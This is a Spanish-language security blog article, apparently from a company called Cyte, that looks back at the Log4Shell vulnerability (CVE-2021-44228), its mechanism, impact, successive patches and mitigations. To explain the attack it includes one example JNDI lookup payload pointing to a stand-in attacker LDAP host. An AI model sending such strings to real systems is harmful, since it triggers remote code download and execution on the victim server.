En el presente artículo de Cyte, se expone un análisis retrospectivo sobre la que se considera una de las crisis más recientes y relevantes en seguridad informática y qué implicaciones tuvo y tiene aún hoy en día.
Caso de estudio: Log4Shell, la vulnerabilidad más grave del 2021
Databa el 9 de diciembre de 2021, hace poco menos de un año, cuando por todos los medios de divulgación tecnológica se afirmaba un hallazgo abrumador: se había encontrado una vulnerabilidad de día cero que ya afectaba a una cantidad ingente de dispositivos y permitía el acceso y control hacia ellos de manera remota sin necesidad de implementos muy sofisticados; sólo una petición con una serie de cadenas de texto específicas bastaban para poner en marcha un ataque devastador: LOG4SHELL.
Desde entonces, los equipos de seguridad de numerosas compañías trabajaron de forma ardua y desesperada para tratar de entender por qué funcionaba semejante fallo, quién saldría afectado y cómo se podría solucionar, y aunque todo indica que ya se superó la etapa más tempestuosa, el evento todavía mantiene en vilo a la comunidad de TI ante posibles resurgimientos y secuelas.
Antes de empezar, ¿qué es Log4Shell y cómo actúa?
Para entender en qué consiste Log4Shell, primero es preciso comprender qué es Log4j: esta es una librería de Apache construida en Java que permite registrar la actividad de los dispositivos y sus aplicaciones mediante logs, además de incluir varias herramientas que permiten gestionar dichos logs, así de simple. Se tiene entonces que la vulnerabilidad Log4Shell se aprovecha de los Lookups de Log4j (esto es, la forma en que almacena variables y cuya estructura es ${variable_x}) para eventualmente permitir la ejecución de código remoto [1, 2]. Y he ahí la ironía del caso: la víctima de la vulnerabilidad, una herramienta cuyo propósito se suponía era monitorear el comportamiento de los dispositivos para inspeccionar su estado de seguridad, podía a su vez utilizarse para convertir a estos en los objetivos de cualquier atacante.
Ahora bien, aunque las posibilidades son varias, el principal mecanismo a través del cual se explota Log4Shell comienza cuando el atacante envía una solicitud que incluye un Lookup diseñado para llamar y utilizar en el servidor objetivo la «Interfaz de Nombrado y Directorio de Java» (o JNDI, por sus siglas en inglés), a través del cual se puede localizar un objeto o clase con base en su nombre. Esto es denominado un Message Lookup y asume una estructura como, por ejemplo, ${jndi:ldap://atacante/acceso_remoto.class}
Luego, basta con que este servidor registre tal petición mediante Log4j para que desde ahí, y habiendo especificado previamente un protocolo (siendo LDAP el más frecuente) y la ruta a un directorio, se envíe una solicitud a un servidor controlado por el atacante; éste a su vez responde con el archivo malicioso que el servidor objetivo finalmente descarga y ejecuta, concediendo desde ese momento al atacante la capacidad de ejecutar código en remoto y, con ello, de acceder y controlar el equipo de la nueva víctima [3, 4]. Este mecanismo se presenta mejor en la siguiente imagen:
El efecto de Log4 Shell en el mundo de TI
Como sucede con todas las vulnerabilidades identificadas en la actualidad, era necesario registrar a Log4Shell en la lista de Common Vulnerabilities and Exposures (CVE) para hacerle seguimiento.
De acuerdo con la National Vulnerability Database (NVD), publicada por el NIST [5], esta vulnerabilidad recibió el código CVE-2021-44228 (esto es, la número 44228 del año 2021) y se le asignó el puntaje de riesgo más alto, 10 de 10 (es decir, Nivel Crítico). Pero, ¿qué la hace merecedora de tan elevada calificación?
Primero, y más importante, casi cualquier dispositivo que compile Java es susceptible: esto va desde simples equipos personales como portátiles y teléfonos móviles hasta servidores empresariales y servicios en la nube, y ni hablar de aparatos IoT como televisores inteligentes, termostatos o smartwatch [6]. Por tanto, hacer un recuento de todos los dispositivos afectados por este «día cero» es logísticamente imposible.
Segundo, es tremendamente versátil: además de descargar y ejecutar código malicioso y, con ello, conceder control remoto a un dispositivo, también permite acceder y modificar los valores de datos que se hayan almacenado en los logs (como variables de entorno o contraseñas de los usuarios), realizar ataques de denegación de servicio (DoS) mediante la inducción de bucles infinitos e incluso llevar a cabo operaciones de ransomware, como ya sucedió con servidores de Minecraft [1]; todo depende de la cadena de texto que se envíe.
Tercero, está presente en todas las versiones de Log4j desde la 2.0-beta7 hasta la 2.14.1, esto significa que, además de comprometer una inmensa cantidad y variedad de aparatos, ha estado viviendo entre nosotros aproximadamente desde 2013 [6] y podría haber sido explotada desde entonces. Ahora bien, en realidad se había estado explotando esta vulnerabilidad sólo desde el 1 de diciembre (8 días antes de su publicación), pero sus estragos ya eran evidentes y, de seguir, podrían escalar hasta volverse catastróficos. ! Cuarto, pese a haberse vuelto una librería tan vital para los sistemas programados en Java, Log4j en realidad era desarrollada por solamente tres individuos durante su tiempo libre [1], lo que sugiere que el mantenimiento que venía recibiendo podía ser precario y esto evidentemente no haría más fácil la carrera por corregir Log4Shell.
Bueno, ¿y cómo se hizo frente a Log4Shell?
Se podría afirmar que se trató de una auténtica situación donde se ponen a prueba la templanza, paciencia, resiliencia, perseverancia y altruismo de cualquier administrador de sistemas: solo imagínese la frustración que tuvieron que experimentar los profesionales de las áreas de Infosec al enfrentarse a una emergencia de este calibre, justo cuando se avecinaba la época de festividades de fin de año. Y es que este es uno de los casos excepcionales en donde eran los administradores y desarrolladores, más que los propios usuarios finales, los que podían hacer algo al respecto.
Pero en serio, cuando se presenta un evento de este estilo, una cosa es clara: hay que actualizar la librería en cuestión lo más pronto posible para asegurar que ya no se pueda explotar dicha vulnerabilidad o, en términos más simples, crear un parche de seguridad. No obstante, dada la magnitud y el tiempo de existencia de Log4Shell, era poco probable que un solo parche fuera suficiente para contenerlo: fue entonces cuando comenzó una serie de actualizaciones [7], cada una con una nueva vulnerabilidad (y su respectivo código CVE) por corregir a la orden:
1. El primer parche de seguridad vino el 10 de diciembre con la versión 2.15.0, que deshabilita por defecto los Message Lookup y restringe con lista blanca las conexiones por JNDI; tristemente, esto dió origen a CVE-2021-45046.
2. El segundo parche vio la luz el 13 de diciembre con la versión 2.16.0, donde los Message Lookup son definitivamente eliminados y se deshabilita JNDI por defecto; empero, con ello surgió la CVE-2021-45105.
3. El tercer parche apareció el 18 de diciembre en la versión 2.17.0, con el que se eliminó el protocolo LDAP para JNDI y ahora únicamente admite JAVA, además de restringir la recursión en los Lookups; no obstante, aquí también apareció la CVE-2021-44832.
4. Finalmente, llegó el cuarto parche el 27 de diciembre en la versión 2.17.1, cuyo fin es resolver un problema similar de JNDI para JDBCAppender (herramienta que envía logs a bases de datos); con éste, la industria por fin tuvo un respiro. Sin embargo, como usualmente ocurre con todos los parches de seguridad, también en este escenario se encontraron sistemas que no era posible actualizar por cuestiones de compatibilidad con muchas otras dependencias (en fin, los sistemas legado). Aquí, el procedimiento a seguir consistió en deshabilitar manualmente los Message Lookup y JNDI, adicionar otras medidas de seguridad como Firewalls a nivel de Aplicación Web (WAF) o sanitización de solicitudes de entrada, para confirmar que no incluían código inyectado [4].
En todo caso, es igualmente imprescindible ejecutar escaneos para localizar entidades de Log4j comprometidas y examinar los propios logs de cada posible sistema afectado modo que, si efectivamente se encuentra código malicioso o puertas traseras instaladas en él, sea eliminado o mitigado con celeridad, algo que todavía se debe seguir haciendo hasta el día de hoy a raíz del alcance de Log4Shell.
Conclusiones
Log4Shell constituyó un hito importante en la historia de la seguridad de la información, pues representó como pocos un riesgo inminente y demostró cuán retador puede llegar a ser corregir una vulnerabilidad así, para luego inspeccionar los sistemas que ya infiltró y restaurar todos los daños que haya ocasionado. Realizar estos análisis retrospectivos resulta apropiado y de utilidad para establecer qué se aprendió de aquellas experiencias, valorar el trabajo que los diversos profesionales de Infosec llevan a cabo y revisar cómo podemos seguir mejorando nuestra posición en materia de seguridad.
Si deseas tener siempre a la mano el artículo escrito por nuestro ingeniero Zharet Bautista Montes, te invitamos a descargarlo, compartirlo y comentarnos qué opinas al respecto.
Referencias:
[1] https://www.xataka.com/seguridad/log4shell-vulnerabilidad-critica-proporciones-catastroficas-que-amenaza-destroz ar-internet
[2] https://www.welivesecurity.com/la-es/2021/12/14/que-se-sabe-sobre-vulnerabilidad-log4shell/
[7] https://logging.apache.org/log4j/2.x/security.html
Imagen tomada de Infosecurity.US https://www.infosecurity.us/blog/2021/12/13/log4j-the -meme-0
Consúltenos vía email a: info@cyte.co acerca de las preguntas que pueda tener sobre cómo puede adquirir la herramienta Crypto-Vault® para cifrado y descifrado de documentos sensibles de su organización.
Comments